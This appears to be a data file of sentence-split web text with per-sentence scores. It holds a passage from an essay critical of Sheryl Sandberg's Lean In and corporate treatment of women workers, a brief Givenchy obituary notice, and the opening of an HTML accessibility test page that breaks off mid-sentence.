"Nothing, except a constant flow of ‘likes.’”",
"\n\nWhen Losse came to Facebook in 2005, she was only the second woman hired in a company that then had fifty employees. ",
"Her job was to answer user-support emails. ",
"Low-wage customer support work would soon become Facebook’s pink ghetto. ",
"Losse recalled the decor that adorned the company walls in those years: drawings of “stylized women with large breasts bursting from small tops.” ",
"On Mark Zuckerberg’s birthday, the women at the company were instructed to wear T-shirts displaying his photo, like groupies.",
"\n\n“It was like Mad Men,” she wrote of the office environment in Boy Kings, “but real and happening in the current moment, as if in repudiation of fifty years of social progress.” ",
"A few years into her tenure, Losse was promoted to oversee the translation of Facebook’s site into other languages. ",
"The promotion didn’t come with an increase in pay. ",
"When Losse, like the woman in Sandberg’s anecdote, asked for a raise, she was refused. “",
"You’ve already doubled your salary in a year,” her manager told her, “and it wouldn’t be fair to the engineers who haven’t had that raise”—the engineers (virtually all male) who were already at the top of the pay scale, unlike her. ",
"Her final job at Facebook was to serve as Mark Zuckerberg’s personal “writer and researcher.” ",
"The job, or rather “the role,” as Zuckerberg called it, required her to write “his” blog entries on Facebook and post “his” updates to the Zuckerberg fan page.",
"\n\nLosse quit in 2010 to become a writer—of her own words, not her boss’s. ",
"Earlier this year, she wrote a thought-provoking piece about Lean In for Dissent, “Feminism’s Tipping Point: Who Wins from Leaning In?” ",
"The winners, she noted, are not the women in tech, who “are much more likely to be hired in support functions where they are paid a bare minimum, given tiny equity grants compared to engineers and executives, and given raises on the order of fifty cents an hour rather than thousands of dollars.” ",
"These are the fast-growth jobs for women in high technology, just as Menlo Park’s postindustrial campuses are the modern equivalent of the Lowell company town. ",
"Sandberg’s book proposed to remedy that system, Losse noted, not by changing it but simply by telling women to work harder:\n\nLife is a race, Sandberg is telling us, and the way to win is through the perpetual acceleration of one’s own labor: moving forward, faster. ",
"The real antagonist identified by Lean In then is not institutionalized discrimination against women, but women’s reluctance to accept accelerating career demands.",
"\n\nFor her candor, Losse came under instant attack from the Sandberg sisterhood. ",
"Brandee Barker, a Lean In publicist and former head of public relations for Facebook, sent Losse the following message: “There’s a special place in hell for you.” ",
"Losse defended herself the only way you can in the age of social media: she took a screenshot of Barker’s nastygram and tweeted it. “",
"Maybe sending Hellfire and Damnation messages is part of the Lean In PR strategy,” Losse wrote in her tweet. “",
"LEAN IN OR ELSE YOU’RE GOING TO HELL.” ",
"Other Lean In naysayers have been similarly damned by Lean In devotees. ",
"When New York Times columnist Maureen Dowd wrote a measured critique of Lean In, Sandberg’s fans promptly and widely denounced her. ",
"Losse said she’s not surprised by the fire-and-brimstone ferocity of the response. “",
"There’s this cult-like religiosity to Facebook and Lean In,” she told me. “",
"If you’re ‘in,’ you belong—and if you’re not, you’re going to hell.”",
"\n\nThat Lean In is making its demands of individual women, not the corporate workplace, is evident in the ease with which it has signed up more than two hundred corporate and organization “partners” to support its campaign. ",
"The roster includes some of the biggest American corporations: Chevron, General Electric, Procter & Gamble, Comcast, Bank of America and Citibank, Coca-Cola and Pepsico, AT&T and Verizon, Ford and GM, Pfizer and Merck & Co., Costco and Wal-Mart, and, of course, Google and Facebook. ",
"Never before have so many corporations joined a revolution. ",
"Virtually nothing is required of them—not even a financial contribution. “",
"There are no costs associated with partnering with Lean In,” the organization’s manual assures. “",
"We just ask that you publicly support our mission and actively promote our Community to your employees.” ",
"All the companies have to do is post their logo on Lean In’s “Platform Partners” page, along with a quote from one of their executives professing the company’s commitment to advancing women. ",
"The testimonials are predictably platitudinous:\n\n-Ed Gilligan, American Express president: “At American Express, we believe having more women in senior leadership is critical to fostering an environment that embraces diverse opinions and empowers all employees to reach their full potential. ",
"It’s this spirit of inclusiveness that helps us make better decisions today to drive our growth for tomorrow.”",
"\n\n-Paul Bulcke, Nestlé CEO: “At Nestlé we are committed to enhancing the career opportunities for both men and women, and the knowledge and expertise provided by Lean In will help accelerate our journey.”",
"\n\n-Jeff Wilke, Amazon senior vice president, consumer business: “At Amazon, we lean in to challenge ourselves to develop as leaders by building things that matter. ",
"We solve problems in new ways and value calculated risk-taking; many decisions are reversible. ",
"Bold directions that inspire results help us to think differently and look around corners for ways to serve our customers.”",
"\n\nThat last statement manages to endorse Lean In without even bothering to mention women. ",
"Many of the high-level executives dispensing quotations are male—and a notable number of the female executives are in “communications,” “human resources,” or “diversity” posts. ",
"And funny—or not—how often professed “commitment” to women’s advancement fails to bear up under inspection. ",
"Run some Platform Partner names through databases that track legal cases, and you will find a bumper crop of recent or pending EEOC grievances and state and federal court actions involving sex discrimination, sexual harassment, pregnancy discrimination, unfair promotion policies, wrongful terminations, and gender-based retaliations against female employees. ",
"Here are just a few:\n\n-Lean In Platform Partner Citibank: In 2010, six current and former female employees sued Citibank’s parent company, Citigroup, for discriminating against women at all levels, paying them less, overlooking them for promotions, and firing them first in companywide layoffs. ",
"Their federal court complaint held that the company “turns a blind eye” to widespread discrimination against women and detailed the paltry numbers of women in upper management in every division—with the proportion of female managing directors in some divisions as low as 9 percent. ",
"All nineteen members of the bank’s executive committee are male. “",
"The outdated ‘boys club,”’ the complaint concluded, “is alive and well at Citigroup.”",
"\n\n-Lean In Platform Partner Booz Allen Hamilton: In 2011, Molly Finn, a former partner at the firm who had been fired after serving as its highest-ranking female employee and a star performer, sued for sex discrimination. ",
"She charged the company with creating an unwelcome environment for women and intentionally barring them from top leadership posts. ",
"During a review for a promotion (which she was subsequently denied), she was told to stop saying “pro-woman, feminist things,” she recalled.",
"\n\nSoon after Finn’s suit, a second longtime partner and leading moneymaker, Margo Fitzpatrick, sued the company for sex discrimination and retaliatory termination. ",
"In court papers, she charged that the firm has “maintained a ‘glass ceiling’ that intentionally excludes highly-qualified women.” ",
"The complaint went on to note, “Currently, The Firm has no female partners in the pipeline for Senior Partner.” ",
"With the termination of Fitzpatrick and Finn, “the number of females in the partnership has dwindled to 21—or only 18%.”",
"\n\n-Lean In Platform Partner Wells Fargo: In 2011, the bank reached a class-action settlement with 1,200 female financial advisers for $32 million. ",
"The sex discrimination suit charged that the bank’s brokerage business, Wells Fargo Advisors (originally Wachovia Securities), discriminated against women in compensation and signing bonuses, denied them promotions, and cheated them out of account distributions, investment partnerships, and mentoring and marketing opportunities.",
"\n\n-Goldman Sachs (whose philanthropic arm, the Goldman Sachs Foundation, is a Lean In Platform Partner): In 2010, former employees of Goldman Sachs filed a class-action suit against the company, accusing Wall Street’s most profitable investment bank of “systematic and pervasive discrimination” against female employees, subjecting them to hostile working conditions and treating them “like disposable, second-class citizens.”",
"\n\n-Lean In Platform Partners Mondelez and Nestlé: In 2013, an Oxfam investigation in four countries where the two companies outsourced their cocoa farms found that the women working in the cocoa fields and processing plants that the companies relied on “suffer substantial discrimination and inequality.” ",
"When women at a cocoa processing factory demanded equal treatment and pay, the investigation noted, all of the female workers were fired. ",
"The same companies that “put women first in their advertisements,” Oxfam concluded, “are doing very little to address poor conditions faced by the women who grow cocoa.”",
"\n\n-Lean In Platform Partner Costco: In 2012, a federal judge approved a huge class-action lawsuit that alleges Costco discriminated against about seven hundred women and denied them promotions. ",
"The company, the suit charged, maintains a “glass ceiling” that prevents women from advancing to assistant manager and general manager positions. ",
"Costco’s senior management, the complaint observed, is virtually all male, and less than 16 percent of general managers nationwide are women. ",
"Costco cofounder and longtime CEO Jim Sinegal (who retired in 2011), has argued that women don’t want warehouse management posts because “women have a tendency to be the caretakers and have the responsibility for the children and for the family.”",
"\n\nAnd then there’s Lean In Platform Partner Wal-Mart. ",
"In 2011, the world’s largest retailer famously managed to dodge one of the largest class-action sex-discrimination suits in U.S. history (involving 1.5 million women), after the U.S. Supreme Court ruled on technical grounds that the case didn’t constitute a single class action. ",
"In preparation for a second round of individual and regional class-action proceedings, thousands of female employees have already refiled sex-discrimination grievances in forty-eight states.",
"\n\nHere’s what Mike Duke, Wal-Mart CEO and president, had to say in his statement on Lean In’s Platform Partner page: “As we lean in to empower women, it helps us to better serve our customers, develop the best talent, and strengthen our communities.”",
"\n\nNever before have so many corporations joined a revolution.",
"\n\nAnd what about Facebook? ",
"When asked about women’s representation at the company during media appearances for her book tour, Sandberg was vague. “",
"We’re ahead of the industry,” she told one interviewer, noting that a woman heads Facebook’s “global sales” and another is “running design,” before briskly changing the subject.",
"\n\nI contacted Facebook’s press office and submitted questions about the numbers and percentage of women in management, engineering, and so on. ",
"Ashley Zandy, media spokeswoman at Facebook, emailed me back, thanking me “for reaching out” and offering a “chat.” ",
"The chat was off the record and, in any case, provided no additional information on women’s representation at the company. ",
"Then she offered me an “off the record” conversation with Sandberg, which I declined: off the record meant I couldn’t repeat what Sandberg told me—and, considering Sandberg’s polish and power, I didn’t understand her reticence. ",
"Zandy said she’d try to get the figures I’d requested and arrange interviews, including ones with Sandberg and Facebook’s head of human resources.",
"\n\nTwo days later, she sent me a second email. “",
"I appreciate you reaching out,” she wrote. “",
"Unfortunately, I won’t be able to arrange any of the interviews you requested.” ",
"Nor provide statistics. “",
"Unfortunately, we don’t share much of the detailed and quantitative data you have asked for.” ",
"She was able to tell me the following:\n\n-The names of Facebook’s top executives (which the company, by law, has to disclose in its annual report). ",
"Except for Sandberg, they were all male.",
"\n\n-Names of “female leaders in operational roles.” ",
"Of the nine, only one was on the engineering side of the aisle; the others were mostly in traditionally “female” roles like communications, consumer marketing, and human resources.",
"\n\n-And finally, “a FB statement in lieu of an interview”: “Statement: Facebook supports the message of Lean In—that women should pursue their goals with gusto, no matter what they may be. ",
"We work hard to create a work environment that supports women and gives them the opportunities to have impact and lead. ",
"Our management and employees are incredibly passionate about not just recruiting and retaining women, but developing the right leadership, policies and support to create a culture and workplace where they can thrive.”",
"\n\nI wrote back to say I appreciated the information and still wished to talk to Sandberg. “",
"Though some of my questions are skeptical,” I said, “I hoped that they might open an actual and meaningful dialogue on a subject both she and I care about.” ",
"I presented four questions for Sandberg. ",
"Here are the first two:\n\n1. ",
"A number of Lean In’s corporate Platform Partners seem to have a woman problem—most notably (though not alone), the sex-discrimination legal actions against Wal-Mart and Costco. ",
"How do you ensure that corporate partners are not signing up as a way of whitewashing (agreeing publicly with the concept of women’s advancement, and securing Lean In’s imprimatur, to avoid addressing more systemic problems)? ",
"Is there an instance where you’ve said to such a company that you’d be glad to have it as a partner, but only after it cleans up its act? ",
"Wouldn’t such a demand be an example of what you champion—that having women in power will benefit ordinary women?",
"\n\n2. ",
"Lean In Circles have been described as peer mentoring and as a sort of consciousness-raising for our times. ",
"If a Lean In Circle decides that members of its group have actual grievances with the companies they work for that require a political response, would Lean In be supportive of them taking political or legal action against those companies? ",
"Would you, for example, encourage a Lean In Circle to picket a discriminatory employer?",
"\n\nZandy replied: “As I mentioned before, I do think an off the record conversation between you and Sheryl would be a great place to start the dialogue. ",
"Let me know if you would reconsider that.” ",
"I again declined.",
"\n\nIn the middle of the next week, I received an email from another media spokesperson, this one with Lean In. ",
"Andrea Saul (formerly the press secretary for Mitt Romney’s 2012 presidential campaign) informed me, “Unfortunately, an interview will not be possible.” ",
"Instead, she sent me written answers to my questions, evidently drafted by Lean In’s public relations apparatus (see below), and “a quote for your use”:\n\nLean In is a global community committed to encouraging and supporting women leaning in to their ambitions. ",
"We’re incredibly grateful to our community and the individuals, and institutions, who have already made progress changing the conversation on gender. ",
"But we know there is so much more to do before we live in an equal world. ",
"That’s why we’re not just encouraging, but supporting, everyone and every company that wants to lean in. ",
"It’s time to change the world, not just the conversation.",
"\n\nUpstairs, Downstairs\n\nOne Saturday several weeks into Sandberg’s protracted multimedia tour, I drove to the mother root of American industry, the city that, as its historical literature puts it, “gave birth to the modern corporation.” ",
"So many of New England’s old textile factories have been gutted and converted into boutique and condo space. ",
"But in the 1970s, Lowell, Massachusetts, turned over millions of square feet of abandoned mills to the National Park Service. ",
"The 141 acres of factories, boardinghouses, and power canals are now the preserve of the Lowell National Historical Park.",
"\n\nIts centerpiece is the Boott Cotton Mills, “the cathedral of industry,” a red brick behemoth that sits alongside the Merrimack River like a medieval fortress, ensconced within a rampart of thick red brick walls, accessible only by a single bridge spanning a deepwater canal. ",
"A huge bell tower presides over the courtyard: for decades, its 4:30 a.m. toll summoned a nearly all-female workforce to a fourteen-hour day. ",
"The Boott Mills is now a museum, its exhibition space a reminder of the vast divide between the men who owned it and the women who labored there.",
"\n\nUpstairs, a wing is adorned with large oil portraits of the gentlemen mill proprietors who formed the WASPy Boston Associates. ",
"Downstairs, the “weave room,” a sprawling factory floor, has been restored to its early glory (minus the humid, lint-choked air that incubated spectacular rates of tuberculosis and other lung diseases, and minus the mass infestation of cockroaches that swarmed over employees’ clothes and lunch pails). ",
"During visiting hours, museum staffers run a portion of the eighty-eight power looms to provide visitors with a modest sense of the earsplitting cacophony. (",
"Even at reduced levels, the museum must dispense earplugs.) ",
"On the day I visited, two middle-aged women were operating the clanking looms. ",
"As I stood, half-hypnotized by a power shuttle flinging itself back and forth between the warp threads, they came over to ask if I had questions. ",
"Several minutes into our conversation, it was apparent that they were no ordinary docents. ",
"Francisca DeSousa and Cathy Randall were lifelong mill workers.",
"\n\nThe textile factory where DeSousa had worked for more than a quarter century had hightailed it to Mexico, and she’d taken the job at the museum. ",
"Randall has continued to work in the few remaining mills, including for a time at one that has made certain adjustments to the times: it weaves carbon fiber for microchips. ",
"She was working, that is, at the industrial production end of the empire that Sheryl Sandberg presides over as chief operating officer.",
"\n\nDeSousa, like Randall, started at $3 an hour. ",
"Later, she recalled, “they paid you four to five cents per piecework—to make you work faster.” ",
"In the course of her employment, she and her husband, who also worked full time, had four children. ",
"After she gave birth, “I took one week off, unpaid,” she said. “",
"You didn’t dare take more than that—you’d get fired.”",
"\n\n“There was no vacation time,” Randall recalled of her first job, “no health insurance, no benefits, and no sick days.” ",
"After eleven years, she was making $11 an hour. “",
"Now they just don’t give you the forty hours,” she said, “so they don’t have to pay you benefits.”",
"\n\nDeSousa and Randall, like so many mill workers, saw many accidents: women who were mauled, women who lost body parts, women nearly scalped when the loom mechanism seized their hair. ",
"On the factory floor one day, Randall witnessed an “amputation”: a young woman’s arm was sucked into the machinery. ",
"The memory still haunts her. “",
"She was one of the ones I trained,” she said.",
"\n\nNone of these jobs were unionized. ",
"At the first mill Randall worked for, she became involved in an organizing effort. ",
"The union campaign never came to a vote. “",
"People were too afraid,” she said, recalling how one of the women “came to me crying, ‘Don’t do this, I can’t lose my job.’”",
"\n\nDeSousa led two ad hoc protest efforts of her own. ",
"The first was in response to a company announcement that the workers would no longer be given a lunch hour—which was actually a lunch half hour. “",
"I told them we are going to sit down for half an hour, because we deserve it,” she said. ",
"At first, her coworkers were leery of taking a stand. “",
"It was hard keeping people together. ",
"I mean, I was scared, too—my God, what were they going to do to us?” ",
"But finally she convinced her colleagues. “",
"I told them, ‘Listen, if we stick together, they can’t fire all of us.’” ",
"After two weeks of sit-downs, the company relented. ",
"Then the company announced that mill workers would be required to work overtime on Saturdays. ",
"While the women were glad for the extra money, many were single mothers with no weekend day care. “",
"If you didn’t show up on Saturday, they’d give you a yellow slip,” DeSousa recalled, “and after you got several of them, they could fire you.” ",
"DeSousa and another mill worker proposed a plan: “We stop all the looms—it’s the only way to get their attention.” ",
"The workers did, and a few minutes later, their overlords rushed in. “",
"Even the big bosses from the main office came running.” ",
"After a tense negotiation, the women won their fight. ",
"DeSousa’s supervisor, though, let her know that she better not try for a third victory. “",
"My boss came over,” DeSousa recalled, “and he said to me, ‘Some day, Norma Rae, I’m going to get you.’”",
"\n\nI asked the two women if they had heard of Lean In. ",
"Randall said she had seen a couple of Sandberg’s TV appearances, but didn’t quite understand the message. ",
"I told her that Lean In argues that women need to break down “internal obstacles” within themselves that are preventing them from moving up the work ladder. “",
"There are a lot of barriers women face,” Randall said. ",
"She ticked off a few: lousy pay, no benefits, no sick leave, no unions, sexism, and a still highly sex segregated workforce. “",
"There are lots of jobs that are still considered women’s work,” she said. “",
"In one of the mills, I was actually referred to as ‘the girl.’”",
"\n\nWhat Randall described is what most American working women face. ",
"And they are also the sort of problems that the advocates of Lean In and its sister impulses must address if they are not to be seen as individual women empowering themselves by deserting other women—if they are to be called, as Sheryl Sandberg calls herself, feminist.",
"\n\nWhat about “internal obstacles,” I asked Randall—the sort of obstacles that cause women to curb their ambitions because they’re afraid they won’t be likable? ",
"She pondered the question for a time. “",
"I don’t know,” she said finally. “",
"That’s just not the world I came from.”",
"\n\nMy Questions for Sheryl Sandberg . . . ",
"and the Answers from Her PR Department\n\nQ: A number of Lean In’s corporate Platform Partners seem to have a woman problem—most notably (though not alone), the sex-discrimination legal actions against Wal-Mart and Costco. ",
"How do you ensure that corporate partners are not signing up as a way of whitewashing (agreeing publicly with the concept of women’s advancement, and securing Lean’s imprimatur, to avoid addressing more systemic problems)? ",
"Is there an instance where you’ve said to such a company that you’d be glad to have it as a partner, but only after it cleans up its act? ",
"Wouldn’t such a demand be an example of what you champion—that having women in power will benefit ordinary women?",
"\n\nA: We reject this premise. ",
"There are over 200 companies who have joined as platform partners, and it seems early to judge their motivations. ",
"We are not setting up a watchdog organization or an audit function. ",
"Rather, we are providing high-quality educational materials and technology at scale that companies can use to improve their understanding of gender bias. ",
"We want to make these materials available to everyone—because every company can get better, and we want them to.",
"\n\nQ: Lean In Circles have been described as peer mentoring and as a sort of consciousness-raising for our times. ",
"If a Lean In Circle decides that members of its group have actual grievances with the companies they work for that require a political response, would Lean In be supportive of them taking political or legal action against those companies? ",
"Would you, for example, encourage a Lean In Circle to picket a discriminatory employer?",
"\n\nA: Lean In Circles are a starting point, not an endpoint. ",
"We are encouraging people to set up Circles and take them where they will through an open and constructive dialogue—and share their learnings with other Circles. ",
"Lean In provides a framework but we want each Circle to decide what it does or focuses on, because each Circle is different and has different needs.",
"\n\nQ: Lean In has described itself as a “movement.” ",
"Social movements in my experience are all about solidarity and confrontation—that is, a collective response that confronts powerful institutions and people who are holding a group down. ",
"What is the confrontation here, and who or what is being confronted? ",
"Or does the sort of self-awareness endorsed by Lean In Circles stop when external confrontation begins? ",
"Put another way, is the confrontation all with one’s self, to appeal to the corporation?",
"\n\nA: Again, we reject this premise. ",
"We are a community that seeks to promote awareness and empower individual, as well as collective, action. ",
"Lean In is made up of individuals and organizations coming together to further the common aim of understanding gender bias and helping other women achieve their goals.",
"\n\nQ: Lean In emphasizes individual solutions to problems of individual advancement. ",
"How do you keep this focus on individual initiative from undermining an alternative group awareness necessary to fuel an actual movement?",
"\n\nA: This is not a zero-sum solution. ",
"It takes both individual and collective initiative. ",
"In fact, Lean In makes clear that individuals can facilitate institutional reform. ",
"The more people are focused on issues for gender, the more of both there will be. ",
"We think Lean In is already demonstrating results—individuals taking action, women asking for and getting raises, companies changing policies. ",
"The questions we would ask back is: “Has overall group awareness of these important social issues increased since Lean In launched?” ",
"Our answer is that while there is so much more to do, changes have begun."
] | {
"pile_set_name": "Pile-CC"
} | [
0.020253511145710945,
0.0013726321049034595,
0.011253496631979942,
0.0007674945518374443,
0.001245726365596056,
0.014336032792925835,
0.0008115902310237288,
0.0005707659875042737,
0.0006909624789841473,
0.2107604295015335,
0.0005931988125666976,
0.003668332938104868,
0.0006716531934216619,
0.0019997488707304,
0.0009939782321453094,
0.0020281244069337845,
0.0006078300066292286,
0.0010610183235257864,
0.002763584954664111,
0.012735052034258842,
0.0005813595489598811,
0.23682771623134613,
0.25286486744880676,
0.0006129578687250614,
0.0006297685322351754,
0.0007875041337683797,
0.0009212532313540578,
0.0008281149785034359,
0.0005850649322383106,
0.0009456586558371782,
0.0005519388942047954,
0.0005990869249217212,
0.0008035819046199322,
0.0007496668258681893,
0.0005903656710870564,
0.0005982153816148639,
0.0005510844057425857,
0.005103780422359705,
0.0006864586030133069,
0.0023086953442543745,
0.0005452966433949769,
0.0007185924332588911,
0.001158159109763801,
0.0006081616738811135,
0.0006398572586476803,
0.0013643696438521147,
0.0008345914538949728,
0.0010029900586232543,
0.0026494835037738085,
0.0006074465345591307,
0.0010070230346173048,
0.0016624960117042065,
0.0006800706614740193,
0.0006807188037782907,
0.0018122154287993908,
0.0260914396494627,
0.0012607162352651358,
0.0005518423859030008,
0.0006273817270994186,
0.0260914396494627,
0.0007314629037864506,
0.0007655792869627476,
0.0006901989690959454,
0.0006335289217531681,
0.0005869432352483273,
0.0007291158544830978,
0.0022698617540299892,
0.0037829247303307056,
0.0006074156262911856,
0.0016579554649069905,
0.0007742237066850066,
0.001048479345627129,
0.0006910572992637753,
0.0014421020168811083,
0.000914930016733706,
0.0015283877728506923,
0.0005333787994459271,
0.0005685840151272714,
0.0007810043753124774,
0.0005917292437516153,
0.0006961718900129199,
0.0007299748249351978,
0.0007448429823853076,
0.001371012069284916,
0.01890437677502632,
0.0018117238068953156,
0.0006502715405076742,
0.0008082230342552066,
0.0008418518118560314,
0.0017996244132518768,
0.0010429492685943842,
0.007611710112541914,
0.0008254403946921229,
0.0029537612572312355,
0.0007333764806389809,
0.0011754048755392432,
0.0009531824616715312,
0.0016866326332092285,
0.004719186574220657,
0.0024835888762027025,
0.0006642548250965774,
0.0007182039553299546,
0.0011814744211733341,
0.0029294199775904417,
0.0011518585961312056,
0.007933293469250202,
0.0009264192194677889,
0.003752449993044138,
0.004408285953104496,
0.0020928981248289347,
0.0007598396623507142,
0.0007625237922184169,
0.0006729349261149764,
0.003472020151093602,
0.0006185059319250286,
0.0023008882999420166,
0.00252276798710227,
0.04173713177442551,
0.0020928981248289347,
0.000875142402946949,
0.0007864663493819535,
0.012301834300160408,
0.00949763786047697,
0.0007771690143272281,
0.0008782026707194746,
0.001178777078166604,
0.0007674788939766586,
0.0007709342753514647,
0.00200891331769526,
0.0031585057731717825,
0.012072100304067135,
0.0006178439361974597,
0.0011769633274525404,
0.0006338460370898247,
0.0008673564298078418,
0.005768338218331337,
0.0035467862617224455,
0.021198706701397896,
0.002007041359320283,
0.002692592330276966,
0.0025439406745135784,
0.0022768517956137657,
0.0013704109005630016,
0.48751068115234375,
0.014407468028366566,
0.004012617282569408,
0.0010552769526839256,
0.0023043369874358177,
0.0032549146562814713,
0.0037654689513146877,
0.0023212889209389687,
0.0008345776004716754,
0.0007512834272347391,
0.0030919164419174194,
0.015670951455831528,
0.001018505310639739,
0.0014555160887539387,
0.0013440088368952274,
0.005527673289179802,
0.0011353521840646863,
0.003391481703147292,
0.005688848905265331,
0.0010653213830664754,
0.001489306683652103,
0.0033476317767053843,
0.0006867052870802581,
0.0006531233666464686,
0.008951142430305481,
0.00132308981847018,
0.000654286821372807,
0.5429773926734924,
0.0011476475046947598,
0.0007707513286732137,
0.01692829467356205,
0.0007436713203787804,
0.0008617587154731154,
0.0008360365172848105,
0.00678618997335434,
0.001405423739925027,
0.0008657017024233937,
0.0007983886171132326,
0.007199691608548164,
0.4287254810333252,
0.0008348420378752053,
0.010038294829428196,
0.0029790489934384823,
0.0007685023592785001,
0.007534911390393972,
0.004518854897469282,
0.0007370048551820219,
0.001348170218989253,
0.0007002591737546027,
0.011788864620029926,
0.002719797659665346,
0.11777346581220627,
0.004699993412941694,
0.0005661171162500978,
0.001988306874409318,
0.039557769894599915,
0.0006983834318816662,
0.0008259443566203117,
0.029312433674931526,
0.0015231602592393756,
0.006323948968201876,
0.0006040308508090675,
0.028045034036040306,
0.12061677128076553,
0.0023992564529180527,
0.0006354486104100943,
0.0011813445016741753,
0.0017762731295078993,
0.0008601909503340721,
0.0008792952867224813,
0.1686975508928299,
0.005326864309608936,
0.011294009163975716,
0.0009991108672693372,
0.0005882097175344825,
0.0007708379998803139,
0.0016691890778020024,
0.0036631429102271795,
0.0008402593084610999,
0.000713207118678838,
0.0012669040588662028,
0.000737717084120959,
0.0009002866572700441,
0.001137763261795044,
0.0016191030154004693,
0.0012189600383862853,
0.01381272915750742,
0.22046901285648346,
0.0008261923212558031,
0.0462905652821064,
0.9573848247528076,
0.00817390438169241,
0.001125346403568983,
0.0009557018638588488,
0.0035186652094125748,
0.9593667387962341,
0.0008992205839604139,
0.0006367966416291893,
0.000915577111300081,
0.0008832175517454743,
0.0006259030196815729,
0.000577224011067301,
0.000759746297262609,
0.0007082998054102063,
0.0005605015903711319,
0.0005513076903298497,
0.0005582255544140935,
0.0006143229547888041,
0.0005385836120694876,
0.04334837198257446,
0.0011578055564314127,
0.007552339695394039,
0.0014594626845791936,
0.0023007001727819443,
0.0038443163502961397,
0.006519187707453966,
0.006126505322754383,
0.002859303494915366,
0.013473300263285637,
0.0014872454339638352,
0.01300980057567358,
0.0034514316357672215,
0.0009532333933748305,
0.0011822240194305778,
0.0005805770633742213,
0.0032737930305302143,
0.0010168434819206595,
0.0007701313006691635,
0.007728403899818659,
0.019211364910006523,
0.0014569597551599145,
0.0012626787647604942,
0.008110947906970978,
0.004684776067733765,
0.0006007637130096555,
0.0023490842431783676,
0.0015757041983306408,
0.0007169999880716205,
0.000915577111300081,
0.0008876242791302502,
0.0007808912196196616,
0.0006428166525438428,
0.0007094253087416291,
0.0006285207346081734,
0.0008922397391870618,
0.0016158397775143385,
0.0006758544477634132,
0.0006378428661264479,
0.0005283350474201143,
0.0006236946792341769,
0.0006913836114108562,
0.0005819483194500208,
0.0005355053581297398,
0.011179158464074135,
0.0006017754203639925,
0.0006786294397898018,
0.001408931566402316,
0.005209038965404034,
0.0006019213469699025,
0.000519836787134409,
0.0006115396390669048,
0.0005846209824085236,
0.0006961901672184467,
0.00184182811062783,
0.0007666587480343878,
0.0005812597810290754,
0.007977636530995369,
0.001185585861094296,
0.0005468054441735148,
0.0006087865913286805,
0.0014522381825372577,
0.0005331810680218041,
0.000672703783493489,
0.0008186061750166118,
0.0005990566569380462,
0.0006208925624378026,
0.0007716552936471999,
0.0005450809840112925,
0.0008384910179302096,
0.0005768486298620701,
0.001132118166424334,
0.0006381344282999635,
0.002045784378424287,
0.0006335863145068288,
0.0006125916261225939,
0.0017935519572347403,
0.0007828999077901244,
0.0011741649359464645,
0.0006474149413406849,
0.011473894119262695,
0.0006301887915469706,
0.0009887724881991744,
0.005092188715934753,
0.0009256295161321759,
0.0024388176389038563,
0.000798757013399154,
0.0006415931275114417,
0.0005816383054479957,
0.0006560126203112304,
0.0008552399231120944,
0.0015573907876387239,
0.0008245945209637284,
0.008644741959869862,
0.24639521539211273,
0.0008623907924629748,
0.0012876930413767695,
0.00488152913749218,
0.13683712482452393,
0.008704966865479946,
0.0009058844298124313,
0.0008243147749453783,
0.002196490066125989,
0.00056470837444067,
0.0008519738330505788,
0.014140463434159756,
0.0007663654396310449,
0.0007114273030310869,
0.00558012630790472,
0.041518934071063995,
0.0007829652167856693,
0.0030275958124548197,
0.0006457209237851202,
0.03370101377367973,
0.0006488674553111196,
0.0005615111440420151,
0.0157486442476511,
0.20507264137268066,
0.0015213325386866927,
0.0009411289938725531,
0.0006751932087354362,
0.0013457213062793016,
0.0011551022762432694,
0.02697572484612465,
0.0006448240019381046,
0.0005840130615979433,
0.009072631597518921,
0.007888225838541985,
0.16036802530288696,
0.005746463779360056,
0.0007968927966430783,
0.027598535642027855,
0.003354274434968829,
0.0010508281411603093,
0.000644288316834718,
0.0007496882462874055,
0.0010761115700006485,
0.0007510887226089835,
0.001564864767715335,
0.0007560133817605674,
0.0005812597810290754,
0.007977636530995369,
0.0008391383453272283,
0.0005470272735692561,
0.000753859814722091,
0.0009800437837839127,
0.0005786753026768565,
0.0005366228288039565,
0.0006087865913286805,
0.0014522381825372577,
0.0006980150938034058,
0.0005048847524449229,
0.0005536874523386359,
0.0006078896694816649,
0.0006367092719301581,
0.0007107587298378348,
0.0006662389496341348,
0.0008891649194993079,
0.0007787123904563487,
0.0005807456327602267,
0.003964210860431194,
0.0006143547943793237,
0.0006519855232909322,
0.0011661035241559148,
0.0006231426959857345,
0.0005593024543486536,
0.0006510535022243857,
0.000692640314809978,
0.0006211995496414602,
0.0006672865711152554
] | 0.016118 | 422 |
[
"Death of Hubert de Givenchy\n\nObituary\n\nPARIS (AP) — French couturier Hubert de Givenchy, a pioneer of ready-to-wear who designed Audrey Hepburn's little black dress in \"Breakfast at Tiffany's,\" has died at the age of 91. ",
"For full coverage and obituary from Legacy.com, click here.",
"\n\nAt Tributes.com we believe that Every Life has a Story that deserves to be told and preserved.",
"\n\nTributes.com is the online source for current local and national obituary news and a supportive community where friends and family can come together during times of loss and grieving to honor the memories of their loved ones with lasting personal tributes."
] | {
"pile_set_name": "Pile-CC"
} | [
0.001243963255546987,
0.0006382369319908321,
0.000578927923925221,
0.0006392240175046027
] | 0.000775 | 4 |
[
"<!",
"DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\n <head>\n <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n <title>Rgaa32016 Test.1.3.6 NA 03</title>\n </head>\n <body class=\"NA\">\n <div>\n <h1>Rgaa32016 Test.1.3.6 NA 03</h1>\n\n<!-- ",
"START [test-detail] -->\n <div class=\"test-detail\" lang=\"fr\">\n Chaque image embarquée (balise <code lang=\"en\">embed</code> avec l’attribut <code lang=\"en\">type=\"image/…\"</code>) <a href=\"http://references.modernisation.gouv.fr/rgaa-accessibilite/2016/glossaire.html#image-porteuse-dinformation\">porteuse d’information</a> vérifie-t-elle une de ces conditions (hors <a href=\"http://references.modernisation.gouv.fr/rgaa-accessibilite/2016/cas-particuliers.html#cp-1-3\" title=\"Cas particuliers pour le critère 1.3\">cas particuliers</a>) ? ",
